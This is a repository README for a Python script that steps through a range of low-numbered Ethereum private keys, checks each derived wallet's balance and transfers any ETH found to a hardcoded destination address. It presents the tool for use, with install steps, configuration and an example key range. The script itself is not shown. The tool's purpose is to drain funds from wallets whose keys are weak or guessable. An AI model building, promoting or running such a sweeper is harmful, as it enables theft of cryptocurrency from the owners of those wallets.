Repository navigation
This script generates Ethereum wallets from a range of private keys, checks their balances, and attempts to transfer any found balance to a predefined address. It uses the Infura and Etherscan APIs.
Prerequisites
- Python 3.x
web3libraryrequestslibrary
You can install the necessary Python libraries with:
pip3 install web3 requestsConfiguration
-
Infura API Key:
ReplaceYOUR_INFURA_API_KEYin the script with your Infura API key. You can obtain one by signing up at Infura. -
Etherscan API Key:
ReplaceYOUR_ETHERSCAN_API_KEYin the script with your Etherscan API key. You can obtain one by signing up at Etherscan. -
Destination Address:
The script is set to send ETH to0x79006AD392A98449434E8D51404719b922BbaC72. Change this address to your own Ethereum address where you want to receive the ETH.
Usage
-
Update the
start_key_hexandend_key_hexvalues in the script to define the range of private keys to check. -
Run the script:
python3 eth-v2.pyExample
if __name__ == "__main__":
start_key_hex = '0000000000000000000000000000000000000000000000000000000000000001'
end_key_hex = '0000000000000000000000000000000000000000000000000000000000000186A0'
main(start_key_hex, end_key_hex)This will generate wallets from the given range, check their balances, and attempt to send any ETH found to the specified destination address.
Notes
- Make sure to handle your private keys securely. Do not share them or expose them in public repositories.
- The script includes a
time.sleep(1)call to avoid hitting API rate limits.
License
This project is licensed under the MIT License. See the LICENSE file for details.